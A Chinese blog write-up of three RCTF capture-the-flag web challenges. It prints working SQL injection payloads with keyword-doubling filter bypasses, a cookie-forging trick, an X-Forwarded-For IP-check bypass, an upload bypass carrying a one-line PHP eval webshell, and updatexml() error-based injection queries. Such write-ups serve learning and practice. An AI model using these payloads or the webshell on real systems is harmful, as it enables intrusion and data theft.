细嚼RCTF的三道Web

零、前言

话说这次RCTF好难啊,做了几道简单的题目就再也做不动了,其中Web也只做了第二道,不过第一和第三题也是有些头绪,但是时间不够了。虽然前三道题分数不高但确实难度不小,不过赛后细细品味确实很多地方出的比较巧妙,这里简单总结下。

一、Web100-Upload

这里注册后是一个上传的界面,一开始以为是考察上传绕过,各种测试都没反应。

后来听小伙伴说是文件名注入,所以简单测试了下,这里是insert类型的注入,页面只返回成功插入的数据,所以用单引号测试是没有返回。然后测试了sleep()和benchmark(),都会提示sql injection,说明肯定是文件名注入了。同时这里进行了过滤,像and,select,from等都被过滤了,可以这样绕过anandd、seleslectct。但是一直没有测试出来应该如何构造payload,在结束前的两个小时,突然找到了方法,发现这么去构造可以进行布尔盲注

然后就是一种莫名的担忧,TMD有验证码难道要手注么,会死人的啊~~还是尝试了下

获取表的数量

filename="1' & (( seleselectct count(table_name) frfromom information_schema.tables where table_schema=database())=1)& '1.jpg"

获取表的长度

filename="1' & (sselectelect (seselectlect length(table_name) frofromm information_schema.tables where table_schema=database() limit 0,1)>8)& '1.jpg"

获取表的名称

filename="1' & (ascii(substr((selselectect table_name frfromom information_schema.tables where table_schema=database() limit 0,1) ,1,1)) > 100 )& '1.jpg"

测试几百次,例比赛结束还有半个小时,表名还没猜解完,一共有三个表,其中第二个表名长度为18~~

files
hell

然后就放弃了,只能说没有人性啊。赛后看到一个人写的这道题的writeup,感觉眼前一亮,他的payload:

———————————————–Payload———————————————————–

摘自:http://insight-labs.org/?p=1987

MySQL 版本:

‘+concat((selselectect version()))+’.jpg   返回 5

Database長度

‘+concat((selselectect length(database())))+’.jpg  返回 10

Database name:

‘+concat((selselectect ascii(substr(database(),1,1))))+’.jpg 返回 119 以此繼續爆..到第10位

DB name:web_upload

爆第一個表得到:files

‘+concat((selselectect ascii(substr((selselectect table_name frfromom 
information_schema.tables where table_schema=database() limit 
0,1),1,1))))+’.jpg 返回 102 以此繼續爆..到第5位

爆第二個表得到 hello_flag_is_here

‘+concat((selselectect ascii(substr((selselectect table_name frfromom 
information_schema.tables where table_schema=database() limit 
1,1),1,1))))+’.jpg 返回 104 以此繼續爆..到第18位

爆表 hello_flag_is_here 的列名得到 i_am_flag

‘+concat((selselectect ascii(substr((selselectect column_name 
frfromom information_schema.columns where 
table_name=’hello_flag_is_here’ limit 0,1),1,1))))+’.jpg 返回 105 
以此繼續爆..到第10位

撈出 flag: !!_@m_Th.e_F!lag

‘+concat((selselectect ascii(substr((selselectect i_am_flag frfromom 
hello_flag_is_here LIMIT 0,1),1,1))))+’.jpg  返回 33 以此繼續爆..到第16位

———————————————–Payload———————————————————–

可以看出这里用了一个很重要的函数concat,以前我以为inser语句中只可以插入逻辑运算的注入语句,所以只是想到了盲注,而这里把我们想要的查询的内容通过concat转换成字符串储存到数据库中从而显示出来。我在mysql中测试了一下,建立了一个RCTF表,并用concat进行插入

insert into RCTF(id,username,password) values(17,concat(database()),'admin');

我们看到成功将concat执行后的结果插入到了数据库(我的database()就是test),这样就可以在concat里构造语句注入而不用非得进行盲注了。但是上述paylaod的作者说这题只能返回数字不能返回字符串,所以还是只能一个字符一个字符的猜解,不过速度已经快很多了。

二、Web150-weeeeeb3

注册账户进入后发现manage功能没有权限查看,那肯定是要以管理员权限登陆了。没有发现注入,但是有一个找回密码的功能,找回密码需要username,birthday,address,可以在personal中查看。查看personal时验证的cookie是一串MD5,cmd5解不开,但是感觉会和用户名有关,于是注册了一个用户名为1的账户,解开后为160:1。其中160为uid,于是cookie的结构为MD5(uid:username),那么就可以构造cookie:md5(1:admin)登陆personal

一开始可以重置,但重置之后却登不上去,后来才知道因为很多人都在重置,所以相互冲突,于是开了burp暴力重置。然后登陆成功,查看manage,需要验证ip

在头信息中添加X-Forwarded-For:127.0.0.1即可绕过,但flag还没出来,在源代码中发现

<!-- index.php?module=filemanage&do=???-->

其中do参数是要猜解的,当do=upload时会进入到一个上传界面

这里是个上传绕过,需要同时修改file extension、content-type 、php tag

文件名用php5,content-type为image/jpeg,php文件不能出现<?php ?>标记,这里用<script language="php">

例如这样一个小马

<script language="php">eval($_POST[g1225]);</script>

这题虽然只有150分,但考察的点非常多,尤其用script标签运行木马的情况非常少见,几乎没有使用过这样的马。比较坑的是一开始找的马有问题,<script language="php">其中的php没有双引号,导致一直绕不过去,一度以为思路错了~~

三、Web150-easysql

这题是个二次注入,注册一个带双引号的用户名即可在修改密码触发注入

但是这里有个问题,过滤了空格。测试了很多字符+、/***/、%0a、%0b、%0c、%0d、%09、%a0都提示非法字符串,其中+的url编码是在burp里倒是注册成功了,但是查询的时候会出错,因为这里+会被存储到数据库中,普通的注入可以使用+替换空格,是因为+在查询前被解析成空格,而这里就是个实实在在的加好,直接查询会出错。

然后想可以使用()尽量去掉空格,例如

但实在没有想到什么可以完全不需要空格语句,毕竟我们不知道表名,不知道数据库,不能直接做如上的查询。赛后看到有人使用updatexml()函数做出了这题,然后突然想起以前遇到过。只需百度updatexml关键字即可发现与其相关的报错注入。而且使用updatexml可以用括号完全替代空格。

获取当前用户名

select(updatexml(1,concat(0x3a,(select(user()))),1))

获取当数据库的所有表名

select(updatexml(1,concat(0x3a,(select(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))),1))

这样我们就可以利用这个函数进行报错注入,另外还有floor和ExtractValue都可进行报错注入。

细嚼RCTF的三道Web》上有 1 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注